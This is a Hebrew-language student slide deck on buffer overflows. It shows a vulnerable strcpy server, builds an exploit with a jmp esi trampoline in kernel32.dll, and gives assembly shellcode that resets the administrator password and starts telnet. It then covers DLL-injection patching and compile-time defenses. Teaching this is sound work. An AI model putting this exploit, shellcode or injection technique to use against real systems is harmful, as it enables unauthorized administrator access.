610 likes | 853 Views
חמי שובלי. אודי בן-פורת. מיה בן-ארי. Buffer Overflow. מה במצגת?. מה זה Buffer OverFlow תיאור פריצה לשרת באמצעות BOF תיאור טלאי התיקון ומניעת הפריצה שיטות אלטרנטיביות למימוש הטלאי שיטות למניעת BOF בזמן קומפילציה סטטיסטיקות. אז מה זה בעצם buffer overflow ?.
E N D
חמי שובלי אודי בן-פורת מיה בן-ארי Buffer Overflow
מה במצגת? • מה זה Buffer OverFlow • תיאור פריצה לשרת באמצעות BOF • תיאור טלאי התיקון ומניעת הפריצה • שיטות אלטרנטיביות למימוש הטלאי • שיטות למניעת BOF בזמן קומפילציה • סטטיסטיקות
אז מה זה בעצם buffer overflow? • כאשר מנסים להכניס איברים לתוך buffer יותר מאשר הוא יכול להכיל.כתוצאה מכך נדרסת חלק מהאינפורמציהבמקומות סמוכים בתוכנית. • Buffer overflow יכול להתרחש ב c ע"י פקודות כגון : strcpy, strcat, getsאשר מבצעות פעולה על קלט, מבלי לבדוק את הגבולות שלו.
הפרוייקט • לפרוץ ממחשב מרוחק לשרת ולהשיג חלון telnetשבו נפעל עם הרשאות של administratorבאמצעות Buffer Overflow • לכתוב Patchשיתקן בזמן ריצה את בעיית האבטחה בתוכנת השרת בזמן ריצה • בפרוייקט 2 חלקים:
אז מהי התוכנית? • תוכנית זו רצה על השרת, ומכילה באג. • התוכנית תקבל קלט ממחשב מרוחק דרך socketתקשורת סטנדרטי. • תוכנית על מחשב הלקוח, שמתחברת לתוכנית שעל השרת ונותנת לה קלט דרך ה socket. • השרת קורא קלט מהלקוח דרך ה - socket , ומכניס אותו לתוך ה buffer. • השרת עובר לפונקציה בה מתבצעת הפקודה strcpyלמערך המוגדר בשרת,מבלי לבדוק את גבולות הקלט שנקלט (וזהו ה BUG). Server.exe
מנצל את הבאג המוגדר בשרת ושולח קלט ארוך מגודל ה bufferהמוגדר בשרת. • הקלט הארוך גורם לדריסת הכתובת חזרה מהפונקציה ומעבר לקוד אשר מבצע : • שינוי סיסמת אדמיניסטראטור במחשב המרוחק. • העלאת שירות telnetבשרת. • לאחר מכן הלקוח מתחבר לשרת ע"י ה telnet. Bad_client.exe
Bad client server main { Buffer recvbuf[1000]; recv( m_socket, recvbuf, 1000, 0 ); recvbuf : Buffer revieved from the client Size : 1000 copyBuf(recvbuf); } copyBuf(char *arr) { myArr[500]; strcpy(myArr,arr); } myArr : a local variable in the server Size : 500 Oops…
כיצד נכתוב את ה exploit? (כלומר את ה buffer שהלקוח שולח לשרת) • שלב א' - מציאת מקום הדריסה של הכתובת חזרהנזהה את המקום בתוכנית המרוחקת שבו הקלט הארוך דורס את ה return address של הפונקציה כתובת מוצבעת ע"י ה EIPומסמנת את הפקודה הבאה בחזרה מהפונקציה. • כיצד נמצא כתובת זו ? ע"י מתן קלט ארוך לתוכנית - הבנוי מרצף של אותיות לדוגמא : aaabbbccccdddde… על מנת שנוכל לדעת בוודאות מתי הקלט דורס מצביע זה.
דוגמא : אם נכניס כקלט ל buffer שאנו שולחים לשרת רצף של “.aaa..aaa” מספיק ארוך, אזי ה a-ים (a = 61 בקוד ascii) ידרסו את הכתובת חזרה. כעת ננסה להכניס, רצף של אותיות, לדוגמא כאן האותיות abcd (a=61,b=62, c=63, d=64)דורסות את הכתובת החזרה של השגרה. וכך נוכל לגלות איפה בפועל מתבצעת הדריסה.
שלב ב' – מציאת הכתובת לקפיצה • לאחר שזיהינו את המקום שבו אנו דורסים. נצטרך למצוא כתובת – קרובה לכתובת של התוכנית , שבה נוכל לשתול את הקוד שלנו, ולשם נרצה שה eip יצביע בחזרה מהפונקציה. • אפשרות נוספת : להכניס הקוד שלנו לתוך הbuffer (כתלות באורך ה buffer).
בעיה : אז לאיפה בעצם קופצים
Bad client server Buffer recieved 0x001F3A80 0x001F3A80 O1...500 – 503 :eipדריסת ה 0x0012F59C 0x0012F59C esi 0x0012F5A8 Kernel32.dll jmp esi Buffer 0x77E64167 EVIL CODE 0x77E64167
בעיה : אז לאיפה בעצם קופצים? • נרצה לדרוס את ה eip , ולהכניס אליו כתובת חדשה הנמצאת בתוך ה buffer שלנו, שאליה נקפוץ על מנת שיבוצע את הקוד שכתבנו. • לצערנו, תווך הכתובות של המערך ב serverשלו אנו רוצים ליצור את ה buffer overflowהינו : 0x0012f3a8 –0x0012f59cכיוון שכל כתובת הנמצאת במערך מכילה את התו 00x0 (=null)לא ניתן להכניס תו זה ל buffer המוגדר כמערך של char, כיוון שבשליחה, תו זה יסיים את פקודת ה send, וכל התווים שאחריו לא ישלחו. • הפתרון שמצאנו לעניין הוא לחפשregister אשר מצביע למקום הנמצא בתחומי הכתובות שאנו יכולים לדרוס, ואל רגיסטר זה נקפוץ. • למזלנו, נמצא רגיסטר כזה : esi אשר מצביע לכתובת 0x0012f5a8
כיצד נקפוץ לרגיסטר זה (esi) ? • על מנת לבצע את הפקודה jmp esi ( opcode : FF F6), • יש לדחוף לבאפר, במקום הדריסה, כתובת של פקודה הנמצאת בזיכרון של התכנית שכתבנו, המבצע את הפקודה הנ"ל. • כיצד נמצא פקודה כזאת? • נחפש ב dll ים אשר ה server טוען - שורה אשר בה תופיע הפקודה הנ"ל. כאשר כתובת של הפקודה ב dll תופיע ללא אפסים. • שורה כזאת נמצאה בתוך ה kernel32.dll • כיוון שה dll נטען תמיד לאותה base address בזיכרון –נוסיף לה את הכתובת של הפקודה הנ"ל שמצאנו – על מנת למצוא קירוב של הכתובת אליה אנו רוצים למצוא
שלב ג' –בניית ה buffer ה buffer יכיל את הקוד הרע. לתוך ה bufferנכניסopcodes של פקודות אסמבלי אשר יבנו בזמן ריצה מחסנית, וכן יקראו לפונקציות.
א. על מנת לדעת כיצד נראית מחסנית אנו נבנה תוכנית רגילה ב Cאשר מבצעת את הפקודות של: • כיצד נבנה מחסנית זו ? שינוי סיסמא system(“set user administrator pupp”); הפעלת telnet system(“net start telnet”); נקמפל את התכנית ונריץ אותה. בזמן הדיבאג – נבדוק את המחסנית של התכנית,ומהם הם האיברים הקיימים בה.
ב. יצירת קוד אסמבלי לבניית המחסנית לאחר שגילינו מה אנו צריכים להכניס במחסנית שאנו רוצים ליצור – נכתוב קוד אסמבלי . בקוד זה, נבנה את המחסנית שלנו. דוגמא:
push ebp mov ebp esp esp, ebp ebp איך נבנה את המחסנית שלנו?
xor edi, edi push edi Way of Creating null… /0 ebp ebp
Sub esp 18hmov byte ptr[ebp-1Ch],6Eh (=n) mov byte ptr[ebp-1Bh],65h (=e) mov byte ptr[ebp-1Ah],74h (=t) esp - Making room in the stack for our string: “net user administrator pupp”- entering the string into the stack n et /0 ebp ebp
- Making room in the stack for our string: “net start telnet” - entering the string into the stack esp net starttelnet /0 net useradministratorpupp /0 ebp ebp
Mov eax, 0x77bb8c10 Push eax esp Address of System function net starttelnet Pushing theaddress of the function“system” on XP /0 net useradministratorpupp /0 ebp ebp
lea edx, [ebp-1Ch]push edx esp edx Address of System function net starttelnet loading the “n” of the “net user administrator pupp” /0 net useradministratorpupp /0 ebp ebp
call dward ptr [ebp-34h] esp edx calling the system function Address of System function net starttelnet /0 net useradministratorpupp /0 ebp ebp
add esp, 4lea edx, [ebp-30h]push edxcall dward ptr [ebp-34h] esp edx Address of System function The same with the second string :loading the “n” of the“net start telnet” calling the system function net starttelnet /0 net useradministratorpupp /0 ebp ebp
ג. נבנה תוכנית ב C אשר : • טוענת את ה DLL ים הרצויים במידת הצורך. • מריצה את הקוד שכתבנו ב assembly ע"י הפקודה __asm { our code… } • נקמפל תכנית זאת ונריץ אותה #include <windows.h> #include <winbase.h> void main() { LoadLibrary("msvcrt.dll“); __asm{push ebp mov ebp,esp …. }} • כאשר נעשה debug לתוכנית זו ( (ctrl F11נוכל לראות את ה opcodes עבור הקטע הקוד שכתבנו. • את ה opcodes האלו, נכניס לתוך את ה buffer הרע.
חלק ב' – תיקון החור באבטחת השרת • התיקון יתבצע באמצעות patchבזמן ריצה • הpatchישתול במרחב הזיכרון של הserverאת שיגרת התיקון שלנו • שתילת הקוד יכולה להתבצע בכמה דרכים, אנו ביצענו זאת בשתי דרכים • בעזרת מנגנון הhooksבחלונות. • באמצעות CreateRemoteThread • שיגרת התיקון תחליף את הקריאה הבעייתית לstrcpyבקריאה לשיגרה אחרת שלנו )גם היא באותו מרחב זכרון כמובן, להלן CheckProc) שתבדוק את הקלט של strcpyלפני ביצועה
מבנה הקבצים והשגרות • server.exe • good_client.exe / bad_client.exe • Patch.exe – טוען את fix.dll ( או fix2.dll ) לתהליך ה server.exe בזמן ריצה • בגרסת ה Hooks • fix.dll • CheckProc – בעלת חתימה זהה ל strcpy. בודקת גבולות ואם תקין קוראת ל strcpy. • HookProc – נקראת בטעינת fix.dll (ע"י ה Hook) ומחליפה בתהליך ה server את הקריאה לstrcpy בקריאה ל CheckProc • בגרסת ה CreateRemoteThread • fix2.dll • CheckProc – כנ"ל. • dllMain – נקראת בטעינת fix2.dll (ע"י CreateRemoteThread) ומבצעת הנ"ל.
Hooks (Win OS) • מנגנון ה-hooksבחלונות נותן יכולות מאוד חזקות • מאפשר ליירט ולעקוב אחר אירועים שקורים בתהליך שלנו וגם בתהליכים אחרים, לפני שהם קורים • “hooking”לתהליך נעשה ע"י העברה למערכת ההפעלה מידע על תהליך,סוג אירוע, פונקציה, ו dllבו היא נמצאת. • כשסוג האירוע שציינו עומד להתרחש בתהליך שציינו מערכת ההפעלה טוענת את ה dllשלנו למרחב הזיכרון של התהליך ומפעילה את הפונ' שציינו.
Hooks (Win OS) SetWindowsHookEx(WH_CBT, addrHookProc,hFixDll,0) WH_CBT –סוג האירוע, הקבוע הספציפי הזה מתייחס למספר רב של אירועים. בין היתר, יצירה/שינוי של חלון מסוים בתהליך היעד. hFixDll –מצביע ל dll (שטעון בתהליך שקורא ל Set) שיטען בתהליך שבו יקרה הארוע. addrHookProc –הכתובת ב-dllשל הפונקציה שתקרא כשהאירוע יקרה 0 –הhookיתבצע לכל התהליכים שפועלים במערכת (את התיקון הפונ' שלנו תבצע רק בתהליך שהיא תזהה אותו כserver )
Server.exe Windows Patch.exe Fix.dll אז איך זה עובד... 3. הpatchעולה ומגדיר את ה hookומחכה ל eventמהserverשהתיקון בו אכן בוצע 1. מעלים את ה server • 2. Serverפותח MessageBoxלאישור הפעלתו 6. משתמש ביצע פעולה על הMessage Box . 9. ה patchמבצע Unhookומסיים 5. hookProcעשויה לפעול על תהליכים שהם אינם הserver ולא תעשה כלום. 4. כל תהליך שעומד לקרות בו אירוע המתאים ל hookשהגדרנו יטען את ה dll. 8. hookProcמופעלת על ה server,מבצעת שינויים הדרושים במרחב הזיכרון של server ("התיקון") ושולחת event ל patchשהתיקון ב server בוצע. 7. hookתופס את אירוע ה server, והוא טוען את ה dllלמרחב הכתובות של ה server
תיאור התיקון תכנון: 1. כתיבת פונקציה CheckProcשיושבת ב fix.dllעם חתימה זהה ל strcpyשבודקת שמחרוזת הקלט לא חורגת מגודל ה bufferוקוראת בסיומה ל strcpy. (אחרת מדפיסה הודעת אזהרה ומסיימת את התהליך) 2. מוצאים בעזרת ה debuggerאת הכתובת (קבועה) שבה רשומה הפקודה call strcpy. 3. מוצאים ע"י getProcAddress (או map, DropBin) את הכתובות של פונקציות ובסיס הdll. (תלוי מה בוחרים לבצע בהמשך) 4. מחשבים את תרגום הפקודה החדשה call CheckProc להקסא.
תיאור התיקון - המשך בזמן ריצה: תזכורת: אנו נמצאים ב HookProcבמרחב הזיכרון של server. 1. משנים הרשאות לכתיבה לצורך שינוי הכתובת המיועדת (VirtualProtect) 2. כותבים לכתובת את הפקודה call checkProc. 3. מחזירים הרשאות למצב הקודם. (VirtualProtect)
שיטה 2: שתילת קוד באמצעות CreateRemoteThread • קיימות די הרבה פונקציות המאפשרות לתהליך לטפל בתהליך אחר, רובם מיועדות לכלי Debug . • הרעיון: לגרום לחוט בתהליך אחר לקרוא ל LoadLibrary עם ה dllשלנווכאשר dll נטען הוא מריץ פונקציה dllMain שתהיה דומה ל HookProc ממקודם. • בעזרת CreateRemoteThread אנו שולטים גם בקוד שהחוט מבצע. • למזלנו, LoadLibrary והפונקציה ש CreateRemoteThread מריץ מספיק דומות. - - בחתימה שלהם ובקונבנצית WINAPIHINSTANCE LoadLibrary(PCTSTR pszLibFile)DWORD WINAPI ThreadFunc(PVOID pvParam) • לכן, בעיקרון, היינו רוצים לבצע את הקוד הבא • CreateRemoteThread(hProcessRemote,NULL,0,LoadLibraryA, “c:\\fix.dll” ,0,NULL) • אבל...
שיטה 2: שתילת קוד באמצעות CreateRemoteThread - המשך א. כדי לקבל את הכתובת האמיתית של LoadLibraryA נצטרך להשתמש ב:(בהנחה, נכונה בדר"כ, שגם בתהליך המרוחק kernel32 נטען לאותה הכתובת) GetProcAdress(GetModulteHandle(“kernel32”,”LoadLibraryA”)); ב. המחרוזת “c:\\fix.dll”’ , בזמן הקריאה, נמצאת בתהליך שלנו ולכן בתהליך המרוחק בזמן הקריאה ל LoadLibraryA(“c:\\fix.dll”) הפרמטר חייב להימצא במרחב זיכרון שלו כמובן. הפיתרון: נקצה זיכרון בתהליך המרוחק בעזרת VirtualAlloc נכתוב לתוכו את המחרוזת, ונעביר אותו במקום המחרוזת שבתהליך שלנו. לסיכום:
שיטה 2: שתילת קוד באמצעות CreateRemoteThread - סיכום • מאתרים את התהליך המרוחק • מקצים זיכרון בתהליך המרוחק באמצעות VirtualAllocEx • כותבים לזיכרון הנ"ל את path של ה dll באמצעות WriteProcessMemory • משיגים את הכתובת של LoadLibraryA ( או LoadLibraryW ב Unicode) • קוראים ל CreateRemoteThread שתיצור חוט חדש במרחב זיכרון של התהליך המרוחק ותקרא ל LoadLibraryA עם הפרמטר שהקצנו בשלבים 2,3 • בשלב זה dllMain נקראת בתהליך המרוחק ומתבצע ה"תיקון"DllMain דומה ל HookProc למעט : • חתימה שונה • לא מבצעת את כל מה שקשור ל Hooks אלא את התיקון נטו! • מחכים שהביצוע יסתיים באמצעות WaitForSingleObject • משחררים זכרון וסוגרים הכל.
דרכים נוספות להחדרת Dll לServer • דרכים להזריק dll: 1. באמצעות מנגנון ה-hooksבחלונות 2. בעזרת CreateRemoteThread 3. באמצעות הregistry 4. dllטרויאני 5. מרחב הכתובות המשותף בחלונות 98
שתילת Dllבאמצעות ה-Registry • מערכת ההפעלה טוענת את כל הdll-ים שרשומים בregistry עבור כל תוכנית שטוענת את User32.dll . נוסיף את ה-dll לregistry . • מדוע לא השתמשנו בדרך זו: • אין אפשרות לעשות unmap לdll • בד"כ רק תוכניות GUI טוענות את User32.dllוסביר להניח שתוכנת שרת אינה כזאת
שתילת Dllטרויאני • החלפת אחד ה dll-ים שהתוכנית טוענת ב-dllשלנו • בעיות: • בעדכון השרת לגירסה חדשה ידרס ה-dllשלנו ויוחלף באחר או שהשרת יחפש פונ' חדשות שלא קיימות ב-dllשלנו
שתילת Dll בחלונות 98 • ה-patch ממפה למרחב הזיכרון שלו את קובץ ה-dll. • מאתרים בעזרת debugger את הכתובת אליה ממופה ה-dll • בחלונות 98 כל התהליכים חולקים את אותו מרחב כתובות מעל 2GB • עושיםMapViewOfFileל-dll שמיפינו וכעת ה-dll נגיש מכל תהליך שרץ
שתילת Dll בחלונות 98 (2) • חסרונות: • פתרון שרץ רק על מערכת הפעלה ספציפית • בנוסף לטעינת ה-Dll אין מנגנון שמפעיל את שיגרת התיקון היה אפשר לקרוא ל-CreateRemoteThread כדי ליצור בתהליך השרת פתיל שיפעיל את שגרת התיקון ב-dll אך Win98 לא תומכת ב- CreateRemoteThread
מניעת BOF בזמן קומפילציה • 1 – מניעת הרצת קוד מהמחסנית • 2 – זיהוי הדריסה Stuck Guard • 3 – גיבוי כתובת החזרה Stack Shield
פתרונות אלטרנטיביים 1 תזכורת: ה-patch שלנו משתמש ב VirtualProtect כדי לאפשר את שינוי כתובת הקפיצה ל-strcpy לכתובת שגרת התיקון שיושבת ב-dll שטענו הבעיה: כאשר מרחב הTEXT של התוכנית (שם מאוחסנות שורות הקוד) מוגן כמו שראינו בפרויקט ה WatchDog לא ניתן לא ניתן להשתמש ב- VirtualProtect
פתרונות אלטרנטיביים 1 (המשך) הפתרון: בעת כתיבת קוד המכונה: לפני כל פקודת ret (פקודה הקופצת לשגרה הקוראת) נוסיף שורות קוד שיבדקו שהערך ב-esp – הרגיסטר ששומר את הכתובת שנקפוץ אליה – מכיל ערך שאינו במרחב הכתובות של הstack.
מניעת BOF בזמן קומפילציה • 1 – מניעת הרצת קוד מהמחסנית • 2 –גיבוי כתובת החזרה Stack Shield • 3 – זיהוי הדריסה Stuck Guard
פתרונות אלטרנטיביים - 2 Stack Shield הקומפיילר יוסיף לכל פונקציה פרולוג ואפילוג: בפרולוג: נשמור את כתובת החזרה בטבלה מיוחדת בזיכרון באפילוג: נטען בחזרה את כתובת החזרה מהטבלה, ונכתוב אותה מחדש במחסנית, כך שגם אם היה BOF עדיין זרימת התוכנית תהיה נכונה בעיה: שיטה זו לא מזהה אם התרחש BOF או לא
מניעת BOF בזמן קומפילציה • 1 – מניעת הרצת קוד מהמחסנית • 2 – גיבוי כתובת החזרה Stack Shield • 3 – זיהוי הדריסה Stuck Guard